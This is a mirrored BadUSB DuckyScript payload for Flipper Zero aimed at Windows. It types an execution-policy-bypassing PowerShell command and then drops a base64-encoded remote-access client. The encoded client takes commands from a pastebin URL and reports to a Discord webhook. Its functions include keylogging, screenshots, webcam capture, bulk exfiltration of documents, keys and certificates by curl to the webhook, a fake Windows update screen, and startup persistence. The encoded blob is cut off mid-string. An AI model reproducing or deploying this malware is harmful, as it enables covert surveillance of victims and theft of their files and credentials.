mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-12 15:50:08 -08:00
35 lines
38 KiB
Plaintext
35 lines
38 KiB
Plaintext
REM Title: beigeworm's Telegram Command And Control.
|
|
REM Author: @beigeworm
|
|
REM Description: Using a Telegram Bot's Chat to Act as a Command and Control Platform.
|
|
REM Target: Windows 10 and 11
|
|
|
|
REM SETUP
|
|
REM Goto https://pastebin.com and make an account..
|
|
REM Create an empty paste/file and copy the RAW url.
|
|
REM Change PASTEBIN_URL_HERE to the RAW url eg. https://pastebin.com/raw/QeCLTdea -OR- http://your.server.ip.here/files/file.txt
|
|
REM Change WEBHOOK_HERE to your webhook eg. https://discord.com/api/webhooks/123445623531/f4fw3f4r46r44343t5gxxxxxx
|
|
|
|
REM for more info goto - https://github.com/beigeworm/PoshCord-C2
|
|
|
|
REM some setup for dukie script
|
|
DEFAULT_DELAY 100
|
|
|
|
REM Open Powershell and start logs.
|
|
DELAY 1000
|
|
GUI r
|
|
DELAY 500
|
|
STRING powershell -NoP -NonI -Exec Bypass
|
|
ENTER
|
|
DELAY 5000
|
|
|
|
STRING '$hookurl = "WEBHOOK_HERE"' | Out-File -FilePath "$env:temp/a.ps1" -Force
|
|
ENTER
|
|
STRING '$ghurl = "PASTEBIN_URL_HERE"' | Out-File -FilePath "$env:temp/a.ps1" -Force
|
|
ENTER
|
|
STRING $b64 = 'JHBhcmVudCA9ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmVpZ2V3b3JtL1Bvc2hDb3JkLUMyL21haW4vRGlzY29yZC1DMi1DbGllbnQucHMxIiAjIHBhcmVudCBzY3JpcHQgVVJMIChmb3IgcmVzdGFydHMgYW5kIHBlcnNpc3RhbmNlKQ0KJHJlc3BvbnNlID0gSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkR0h1cmwNCiRwcmV2aW91c2NtZCA9ICRyZXNwb25zZQ0KJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOmxpbms6IGBgV0FJVElORyBGT1IgQ09NTUFORFMuLmBgIDpsaW5rOiJ9IHwgQ29udmVydFRvLUpzb24NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGhvb2t1cmwgLU1ldGhvZCBQb3N0IC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgJGpzb25zeXMNCg0KRnVuY3Rpb24gT3B0aW9uc3sNCiRtc2dzeXMgPSAiYGA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09PT09PT09PT09IERpc2NvcmQgQzIgT3B0aW9ucyA9PT09PT09PT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo9IENvbW1hbmRzIExpc3QgLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCj0gTWVzc2FnZSA6IFNlbmQgYSBtZXNzYWdlIHdpbmRvdyB0byB0aGUgVXNlciAgICAgICAgICA9DQo9IFNjcmVlbnNob3QgIDogU2VuZHMgYSBzY3JlZW5zaG90IG9mIHRoZSBkZXNrdG9wICAgICAgPQ0KPSBLZXljYXB0dXJlICAgOiBDYXB0dXJlIEtleXN0cm9rZXMgYW5kIHNlbmQgICAgICAgICAgID0NCj0gRXhmaWx0cmF0ZSA6IFNlbmQgdmFyaW91cyBmaWxlcy4gKHNlZSBFeHRyYUluZm8pICAgICA9DQo9IFVwbG9hZCA6IFVwbG9hZCBhIGZpbGUuIChzZWUgRXh0cmFJbmZvKSAgICAgICAgICAgICAgPQ0KPSBTeXN0ZW1pbmZvIDogU2VuZCBTeXN0ZW0gaW5mbyBhcyB0ZXh0IGZpbGUuICAgICAgICAgID0NCj0gVGFrZVBpY3R1cmUgOiBTZW5kIGEgd2ViY2FtIHBpY3R1cmUuICAgICAgICAgICAgICAgICA9DQo9IEZvbGRlclRyZWUgOiBTYXZlIGZvbGRlciB0cmVlcyB0byBmaWxlIGFuZCBzZW5kLiAgICAgPQ0KPSBGYWtlVXBkYXRlIDogU3Bvb2Ygd2luZG93cyB1cGRhdGUgc2NyZWVuLiAgICAgICAgICAgID0NCj0gQWRkUGVyc2lzdGFuY2UgOiBBZGQgdGhpcyBzY3JpcHQgdG8gc3RhcnR1cC4gICAgICAgICA9DQo9IFJlbW92ZVBlcnNpc3RhbmNlIDogUmVtb3ZlIGZyb20gc3RhcnR1cCAgICAgICAgICAgICAgPQ0KPSBDdXN0b21Db21tYW5kIDogRXhlY3V0ZSBhIGdpdGh1YiBmaWxlIGFzIGEgc2NyaXB0LiAgID0NCj0gSXNBZG1pbiAgOiBDaGVjayBpZiB0aGUgc2Vzc2lvbiBpcyBhZG1pbiAgICAgICAgICAgICA9DQo9IEF0dGVtcHRFbGV2YXRlIDogQXR0ZW1wdCB0byByZXN0YXJ0IHNjcmlwdCBhcyBhZG1pbiAgPQ0KPSBFbnVtZXJhdGVMQU4gIDogU2hvdyBkZXZpY2VzIG9uIExBTiAoc2VlIEV4dHJhSW5mbykgID0NCj0gQ2xvc2UgIDogQ2xvc2UgdGhpcyBTZXNzaW9uICAgICAgICAgICAgICAgICAgICAgICAgICA9DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPSBFeGFtcGxlcyBhbmQgSW5mbyAtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo9IF9fVG8gRXhpdCBFeGlsdHJhdGUgb3IgS2V5Y2FwdHVyZV9fICAgICAgICAgICAgICAgICAgPQ0KPSBFZGl0IHlvdXIgaG9zdGVkIGZpbGUgdG8gY29udGFpbiAna2lsbCcgICAgICAgICAgICAgID0NCj0gdGhpcyB3aWxsIGV4aXQgdGhlIGN1cnJlbnQgZnVuY3Rpb24gZWcuICdrZXljYXB0dXJlJyA9DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PWBgIg0KJGVzY21zZ3N5cyA9ICRtc2dzeXMgLXJlcGxhY2UgJ1smPD5dJywgeyRhcmdzWzBdLlZhbHVlLlJlcGxhY2UoJyYnLCAnJmFtcDsnKS5SZXBsYWNlKCc8JywgJyZsdDsnKS5SZXBsYWNlKCc+JywgJyZndDsnKX0NCiRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIiRlc2Ntc2dzeXMifSB8IENvbnZlcnRUby1Kc29uDQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQp9DQoNCkZ1bmN0aW9uIEV4dHJhSW5mb3sNCiRtc2dzeXMgPSAiYGA9PT09PT09PT0gIEV4ZmlsdHJhdGUgQ29tbWFuZCBFeGFtcGxlcyA9PT09PT09PT09PT09PT09PT0NCj0gKCBFeGZpbHRyYXRlIC1QYXRoIERvY3VtZW50cyAtRmlsZXR5cGUgcG5nICkgICAgICAgICAgPQ0KPSAoIEV4ZmlsdHJhdGUgLUZpbGV0eXBlIGxvZyApICAgICAgICAgICAgICAgICAgICAgICAgICA9DQo9ICggRXhmaWx0cmF0ZSApICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0NCj0gRXhmaWx0cmF0ZSBvbmx5IHdpbGwgc2VuZCBtYW55IHByZS1kZWZpbmVkIGZpbGV0eXBlcyAgPQ0KPSBmcm9tIGFsbCBVc2VyIEZvbGRlcnMgbGlrZSBEb2N1bWVudHMsIERvd25sb2FkcyBldGMuLiA9DQo9IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tID0NCj0gUEFUSCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPQ0KPSBEb2N1bWVudHMsIERlc2t0b3AsIERvd25sb2FkcywgICAgICAgICAgICAgICAgICAgICAgICA9DQo9IE9uZURyaXZlLCBQaWN0dXJlcywgVmlkZW9zLiAgICAgICAgICAgICAgICAgICAgICAgICAgID0NCj0gRklMRVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPQ0KPSBsb2csIGRiLCB0eHQsIGRvYywgcGRmLCBqcGcsIGpwZWcsIHBuZywgICAgICAgICAgICAgICA9DQo9IHdkb2MsIHhkb2MsIGNlciwga2V5LCB4bHMsIHhsc3gsICAgICAgICAgICAgICAgICAgICAgID0NCj0gY2ZnLCBjb25mLCBkb2N4LCByZnQuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPQ0KPT09PT09PT09PT09PT09PT09PSAgVXBsb2FkIENvbW1hbmQgRXhhbXBsZSA9PT09PT09PT09PT09DQo9ICggVXBsb2FkIC1QYXRoIEM6L1BhdGgvVG8vRmlsZS50eHQgKSAgICAgICAgICAgICAgICAgID0NCj0gVXNlICdGb2xkZXItVHJlZScgY29tbWFuZCB0byBzaG93IGFsbCBmaWxlcyAgICAgICAgICAgPQ0KPT09PT09PT09PT09PT09PT0gIEVudW1lcmF0ZS1MQU4gRXhhbXBsZSA9PT09PT09PT09PT09PT09DQooIEVudW1lcmF0ZS1MQU4gLVByZWZpeCAxOTIuMTY4LjEuICkgICAgICAgICAgICAgICAgICAgID0NClRoaXMgRWcuIHdpbGwgc2NhbiAxOTIuMTY4LjEuMSB0byAxOTIuMTY4LjEuMjU0ICAgICAgICAgPQ0KPT09PT09PT09PT09PT09PT09ICBNZXNzYWdlIEV4YW1wbGUgPT09PT09PT09PT09PT09PT09PT09DQooIE1lc3NhZ2UgJ1lvdXIgTWVzc2FnZSBIZXJlIScgKSAgICAgICAgICAgICAgICAgICAgICAgID0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PWBgIg0KJGVzY21zZ3N5cyA9ICRtc2dzeXMgLXJlcGxhY2UgJ1smPD5dJywgeyRhcmdzWzBdLlZhbHVlLlJlcGxhY2UoJyYnLCAnJmFtcDsnKS5SZXBsYWNlKCc8JywgJyZsdDsnKS5SZXBsYWNlKCc+JywgJyZndDsnKX0NCiRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIiRlc2Ntc2dzeXMifSB8IENvbnZlcnRUby1Kc29uDQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQp9DQoNCkZ1bmN0aW9uIEZvbGRlclRyZWV7DQp0cmVlICRlbnY6VVNFUlBST0ZJTEUvRGVza3RvcCAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9EZXNrdG9wLnR4dA0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0RvY3VtZW50cyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Eb2N1bWVudHMudHh0DQp0cmVlICRlbnY6VVNFUlBST0ZJTEUvRG93bmxvYWRzIC9BIC9GIHwgT3V0LUZpbGUgJGVudjp0ZW1wL0Rvd25sb2Fkcy50eHQNCiRGaWxlUGF0aCA9IiRlbnY6dGVtcC9UcmVlc09mS25vd2xlZGdlLnppcCINCkNvbXByZXNzLUFyY2hpdmUgLVBhdGggJGVudjpURU1QXERlc2t0b3AudHh0LCAkZW52OlRFTVBcRG9jdW1lbnRzLnR4dCwgJGVudjpURU1QXERvd25sb2Fkcy50eHQgLURlc3RpbmF0aW9uUGF0aCAkRmlsZVBhdGgNCnNsZWVwIDENCmN1cmwuZXhlIC1GIGZpbGUxPUAiJEZpbGVQYXRoIiAkaG9va3VybA0Kcm0gLVBhdGggJEZpbGVQYXRoIC1Gb3JjZQ0KV3JpdGUtT3V0cHV0ICJEb25lLiINCn0NCg0KRnVuY3Rpb24gTWVzc2FnZShbc3RyaW5nXSRNZXNzYWdlKXsNCm1zZy5leGUgKiAkTWVzc2FnZQ0KJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOmFycm93c19jb3VudGVyY2xvY2t3aXNlOiBgYE1lc3NhZ2UgU2VudCB0byBVc2VyLi5gYCA6YXJyb3dzX2NvdW50ZXJjbG9ja3dpc2U6In0gfCBDb252ZXJ0VG8tSnNvbg0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KfQ0KDQpGdW5jdGlvbiBVcGxvYWR7DQpwYXJhbSAoW3N0cmluZ1tdXSRQYXRoKQ0KaWYgKFRlc3QtUGF0aCAtUGF0aCAkcGF0aCl7DQogICAgJGV4dGVuc2lvbiA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldEV4dGVuc2lvbigkcGF0aCkNCiAgICBpZiAoJGV4dGVuc2lvbiAtZXEgIi5leGUiIC1vciAkZXh0ZW5zaW9uIC1lcSAiLm1zaSIpIHsNCiAgICAgICAgJHRlbXBaaXBGaWxlUGF0aCA9IFtTeXN0ZW0uSU8uUGF0aF06OkNvbWJpbmUoW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKSwgW1N5c3RlbS5JTy5QYXRoXTo6R2V0RmlsZU5hbWUoJHBhdGgpKQ0KICAgICAgICBBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQogICAgICAgIFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06OkNyZWF0ZUZyb21EaXJlY3RvcnkoJHBhdGgsICR0ZW1wWmlwRmlsZVBhdGgpDQogICAgICAgIGN1cmwuZXhlIC1GIGZpbGUxPUAiJHRlbXBaaXBGaWxlUGF0aCIgJGhvb2t1cmwNCiAgICAgICAgc2xlZXAgMQ0KICAgICAgICBSbSAtUGF0aCAkdGVtcFppcEZpbGVQYXRoIC1SZWN1cnNlIC1Gb3JjZQ0KICAgIH1lbHNlew0KICAgICAgICBjdXJsLmV4ZSAtRiBmaWxlMT1AIiRQYXRoIiAkaG9va3VybA0KICAgIH0NCn0NCn0NCg0KRnVuY3Rpb24gRmFrZVVwZGF0ZSB7DQokdG9iYXQgPSBAJw0KU2V0IFdzaFNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ0KV3NoU2hlbGwuUnVuICJDOlxXaW5kb3dzXFN5c3RlbTMyXHNjcm5zYXZlLnNjciINCldzaFNoZWxsLlJ1biAiY2hyb21lLmV4ZSAtLW5ldy13aW5kb3cgLWtpb3NrIGh0dHBzOi8vZmFrZXVwZGF0ZS5uZXQvd2luOCIsIDEsIEZhbHNlDQpXU2NyaXB0LlNsZWVwIDIwMA0KV3NoU2hlbGwuU2VuZEtleXMgIntGMTF9Ig0KJ0ANCiRwdGggPSAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXDEwMjEudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQpzbGVlcCAxDQpTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAkcHRoDQpzbGVlcCAzDQpSZW1vdmUtSXRlbSAtUGF0aCAkcHRoIC1Gb3JjZQ0KJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOmFycm93c19jb3VudGVyY2xvY2t3aXNlOiBgYEZha2UtVXBkYXRlIFNlbnQuLmBgIDphcnJvd3NfY291bnRlcmNsb2Nrd2lzZToifSB8IENvbnZlcnRUby1Kc29uDQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQp9DQoNCkZ1bmN0aW9uIEVudW1lcmF0ZUxBTnsNCnBhcmFtIChbc3RyaW5nXSRQcmVmaXgpDQppZiAoJFByZWZpeC5MZW5ndGggLWVxIDApe1dyaXRlLU91dHB1dCAiVXNlIC1wcmVmaXggdG8gZGVmaW5lIHRoZSBmaXJzdCAzIHBhcnRzIG9mIGFuIElQIEFkZHJlc3MgZWcuIEVudW1lcmF0ZS1MQU4gLXByZWZpeCAxOTIuMTY4LjEiO3NsZWVwIDEgO3JldHVybn0NCiRGaWxlT3V0ID0gIiRlbnY6dGVtcFxDb21wdXRlcnMuY3N2Ig0KMS4uMjU1IHwgRm9yRWFjaC1PYmplY3Qgew0KICAgICRpcEFkZHJlc3MgPSAiJFByZWZpeC4kXyINCiAgICBTdGFydC1Qcm9jZXNzIC1XaW5kb3dTdHlsZSBIaWRkZW4gcGluZy5leGUgLUFyZ3VtZW50TGlzdCAiLW4gMSAtbCAwIC1mIC1pIDIgLXcgMTAwIC00ICRpcEFkZHJlc3MiDQogICAgfQ0KJENvbXB1dGVycyA9IChhcnAuZXhlIC1hIHwgU2VsZWN0LVN0cmluZyAiJFByZWZpeC4qZHluYW0iKSAtcmVwbGFjZSAnICsnLCAnLCcgfA0KICAgICAgICAgICAgIENvbnZlcnRGcm9tLUNzdiAtSGVhZGVyIENvbXB1dGVybmFtZSwgSVB2NCwgTUFDLCB4LCBWZW5kb3IgfA0KICAgICAgICAgICAgIFNlbGVjdC1PYmplY3QgSVB2NCwgTUFDDQokQ29tcHV0ZXJzIHwgRXhwb3J0LUNzdiAkRmlsZU91dCAtTm9UeXBlSW5mb3JtYXRpb24NCiRkYXRhID0gSW1wb3J0LUNzdiAkRmlsZU91dA0KJGRhdGEgfCBGb3JFYWNoLU9iamVjdCB7DQogICAgJG1hYyA9ICRfLidNQUMnDQogICAgJGFwaVVybCA9ICJodHRwczovL2FwaS5tYWN2ZW5kb3JzLmNvbS8kbWFjIg0KICAgICRtYW51ZmFjdHVyZXIgPSAoSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsKS5UcmltKCkNCiAgICBTdGFydC1TbGVlcCAtU2Vjb25kcyAxDQogICAgJF8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAibWFudWZhY3R1cmVyIiAtVmFsdWUgJG1hbnVmYWN0dXJlciAtRm9yY2UNCiAgICB9DQokZGF0YSB8IEV4cG9ydC1Dc3YgJEZpbGVPdXQgLU5vVHlwZUluZm9ybWF0aW9uDQokZGF0YSB8IEZvckVhY2gtT2JqZWN0IHsNCiAgICB0cnkgew0KICAgICAgICAkaXAgPSAkXy4nSVB2NCcNCiAgICAgICAgJGhvc3RuYW1lID0gKFtTeXN0ZW0uTmV0LkRuc106OkdldEhvc3RFbnRyeSgkaXApKS5Ib3N0TmFtZQ0KICAgICAgICAkXyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICJIb3N0bmFtZSIgLVZhbHVlICRob3N0bmFtZSAtRm9yY2UNCiAgICB9IA0KICAgIGNhdGNoIHsNCiAgICAgICAgJF8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAiSG9zdG5hbWUiIC1WYWx1ZSAiRXJyb3I6ICQoJF8uRXhjZXB0aW9uLk1lc3NhZ2UpIiAgDQogICAgfQ0KfQ0KJGRhdGEgfCBFeHBvcnQtQ3N2ICRGaWxlT3V0IC1Ob1R5cGVJbmZvcm1hdGlvbg0KJHJlc3VsdHMgPSBHZXQtQ29udGVudCAtUGF0aCAkRmlsZU91dCAtUmF3DQpXcml0ZS1PdXRwdXQgIiRyZXN1bHRzIg0Kcm0gLVBhdGggJEZpbGVPdXQNCn0NCg0KRnVuY3Rpb24gQWRkUGVyc2lzdGFuY2V7DQokbmV3U2NyaXB0UGF0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSINCiRzY3JpcHRDb250ZW50IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1mb3JjZQ0Kc2xlZXAgMQ0KaWYgKCRuZXdTY3JpcHRQYXRoLkxlbmd0aCAtbHQgMTAwKXsNCiAgICAiYCRob29rdXJsID0gYCIkaG9va3VybGAiIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkbmV3U2NyaXB0UGF0aCAtRm9yY2UNCiAgICAiYCRnaHVybCA9IGAiJGdodXJsYCIiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRuZXdTY3JpcHRQYXRoIC1Gb3JjZSAtQXBwZW5kDQogICAgImAkY2N1cmwgPSBgIiRjY3VybGAiIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkbmV3U2NyaXB0UGF0aCAtRm9yY2UgLUFwcGVuZA0KICAgIGlgd3IgLVVyaSAiJHBhcmVudCIgLU91dEZpbGUgIiRlbnY6dGVtcC90ZW1wLnBzMSINCiAgICBzbGVlcCAxDQogICAgR2V0LUNvbnRlbnQgLVBhdGggIiRlbnY6dGVtcC90ZW1wLnBzMSIgfCBPdXQtRmlsZSAkbmV3U2NyaXB0UGF0aCAtQXBwZW5kDQogICAgfQ0KJHRvYmF0ID0gQCcNClNldCBvYmpTaGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQpvYmpTaGVsbC5SdW4gInBvd2Vyc2hlbGwuZXhlIC1Ob25JIC1Ob1AgLUV4ZWMgQnlwYXNzIC1XIEhpZGRlbiAtRmlsZSAiIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIiIiLCAwLCBUcnVlDQonQA0KJHB0aCA9ICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0KJHRvYmF0IHwgT3V0LUZpbGUgLUZpbGVQYXRoICRwdGggLUZvcmNlDQpybSAtcGF0aCAiJGVudjpURU1QXHRlbXAucHMxIiAtRm9yY2UNCiRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIjp3aGl0ZV9jaGVja19tYXJrOiBgYFBlcnNpc3RhbmNlIEFkZGVkIWBgIDp3aGl0ZV9jaGVja19tYXJrOiJ9IHwgQ29udmVydFRvLUpzb24NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGhvb2t1cmwgLU1ldGhvZCBQb3N0IC1Db250ZW50VHlwZSAiYXBwbGljYXRpb24vanNvbiIgLUJvZHkgJGpzb25zeXMNCn0NCg0KRnVuY3Rpb24gUmVtb3ZlUGVyc2lzdGFuY2V7DQpybSAtUGF0aCAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxzZXJ2aWNlLnZicyINCnJtIC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSINCiRqc29uc3lzID0gQHsidXNlcm5hbWUiID0gIiRlbnY6Q09NUFVURVJOQU1FIiA7ImNvbnRlbnQiID0gIjpvY3RhZ29uYWxfc2lnbjogYGBQZXJzaXN0YW5jZSBSZW1vdmVkIWBgIDpvY3RhZ29uYWxfc2lnbjoifSB8IENvbnZlcnRUby1Kc29uDQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRob29rdXJsIC1NZXRob2QgUG9zdCAtQ29udGVudFR5cGUgImFwcGxpY2F0aW9uL2pzb24iIC1Cb2R5ICRqc29uc3lzDQp9DQoNCkZ1bmN0aW9uIEV4ZmlsdHJhdGUgew0KcGFyYW0gKFtzdHJpbmdbXV0kRmlsZVR5cGUsW3N0cmluZ1tdXSRQYXRoKQ0KJGpzb25zeXMgPSBAeyJ1c2VybmFtZSIgPSAiJGVudjpDT01QVVRFUk5BTUUiIDsiY29udGVudCIgPSAiOmZpbGVfZm9sZGVyOiBgYEV4ZmlsdHJhdGlvbiBTdGFydGVkLi5gYCA6ZmlsZV9mb2xkZXI6In0gfCBDb252ZXJ0VG8tSnNvbg0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkaG9va3VybCAtTWV0aG9kIFBvc3QgLUNvbnRlbnRUeXBlICJhcHBsaWNhdGlvbi9qc29uIiAtQm9keSAkanNvbnN5cw0KJG1heFppcEZpbGVTaXplID0gMjVNQg0KJGN1cnJlbnRaaXBTaXplID0gMA0KJGluZGV4ID0gMQ0KJHppcEZpbGVQYXRoID0iJGVudjp0ZW1wL0xvb3QkaW5kZXguemlwIg0KSWYoJFBhdGggLW5lICRudWxsKXsNCiRmb2xkZXJzVG9TZWFyY2ggPSAiJGVudjpVU0VSUFJPRklMRVwiKyRQYXRoDQp9ZWxzZXsNCiRmb2xkZXJzVG9TZWFyY2ggPSBAKCIkZW52OlVTRVJQUk9GSUxFXERlc2t0b3AiLCIkZW52OlVTRVJQUk9GSUxFXERvY3VtZW50cyIsIiRlbnY6VVNFUlBST0ZJTEVcRG93bmxvYWRzIiwiJGVudjpVU0VSUFJPRklMRVxPbmVEcml2ZSIsIiRlbnY6VVNFUlBST0ZJTEVcUGljdHVyZXMiLCIkZW52OlVTRVJQUk9GSUxFXFZpZGVvcyIpDQp9DQpJZigkRmlsZVR5cGUgLW5lICRudWxsKXsNCiRmaWxlRXh0ZW5zaW9ucyA9ICIqLiIrJEZpbGVUeXBlDQp9ZWxzZSB7DQokZmlsZUV4dGVuc2lvbnMgPSBAKCIqLmxvZyIsICIqLmRiIiwgIioudHh0IiwgIiouZG9jIiwgIioucGRmIiwgIiouanBnIiwgIiouanBlZyIsICIqLnBuZyIsICIqLndkb2MiLCAiKi54ZG9jIiwgIiouY2VyIiwgIioua2V5IiwgIioueGxzIiwgIioueGxzeCIsICIqLmNmZyIsICIqLmNvbmYiLCAiKi53cGQiLCAiKi5yZnQiKQ0KfQ0KQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uRmlsZVN5c3RlbQ0KJHppcEFyY2hpdmUgPSBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpPcGVuKCR6aXBGaWxlUGF0aCwgJ0NyZWF0ZScpDQpmb3JlYWNoICgkZm9sZGVyIGluICRmb2xkZXJzVG9TZWFyY2gpIHsNCiAgICBmb3JlYWNoICgkZXh0ZW5zaW9uIGluICRmaWxlRXh0ZW5zaW9ucykgew0KICAgICAgICAkZmlsZXMgPSBHZXQtQ2hpbGRJdGVtIC1QYXRoICRmb2xkZXIgLUZpbHRlciAkZXh0ZW5zaW9uIC1GaWxlIC1SZWN1cnNlDQogICAgICAgIGZvcmVhY2ggKCRmaWxlIGluICRmaWxlcykgew0KICAgICAgICAgICAgJGZpbGVTaXplID0gJGZpbGUuTGVuZ3RoDQogICAgICAgICAgICBpZiAoJGN1cnJlbnRaaXBTaXplICsgJGZpbGVTaXplIC1ndCAkbWF4WmlwRmlsZVNpemUpIHsNCiAgICAgICAgICAgICAgICAkemlwQXJjaGl2ZS5EaXNwb3NlKCkNCiAgICAgICAgICAgICAgICAkY3VycmVudFppcFNpemUgPSAwDQogICAgICAgICAgICAgICAgY3VybC5leGUgLUYgZmlsZTE9QCIkemlwRmlsZVBhdGgiICRob29rdXJsDQogICAgICAgICAgICAgICAgU2xlZXAgMQ0KICAgICAgICAgICAgICAgIFJlbW92ZS1JdGVtIC1QYXRoICR6aXBGaWxlUGF0aCAtRm9yY2UNCiAgICAgICAgICAgICAgICAkaW5kZXgrKw0KICAgICAgICAgICAgICAgICR6aXBGaWxlUGF0aCA9IiRlbnY6dGVtcC9Mb290JGluZGV4LnppcCINCiAgICAgICAgICAgICAgICAkemlwQXJjaGl2ZSA9IFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06Ok9wZW4oJHppcEZpbGVQYXRoLCAnQ3JlYXRlJykNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRlbnRyeU5hbWUgPSAkZmlsZS5GdWxsTmFtZS5TdWJzdHJpbmcoJGZvbGRlci5MZW5ndGggKyAxKQ0KICAgICAgICAgICAgW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlRXh0ZW5zaW9uc106OkNyZWF0ZUVudHJ5RnJvbUZpbGUoJHppcEFyY2hpdmUsICRmaWxlLkZ1bGxOYW1lLCAkZW50cnlOYW1lKQ0KICAgICAgICAgICAgJGN1cnJlbnRaaXBTaXplICs9ICRmaWxlU2l6ZQ0KICAgICAgICAgICAgJG1lc3NhZ2VzID0gSW52b2tlLVJlc3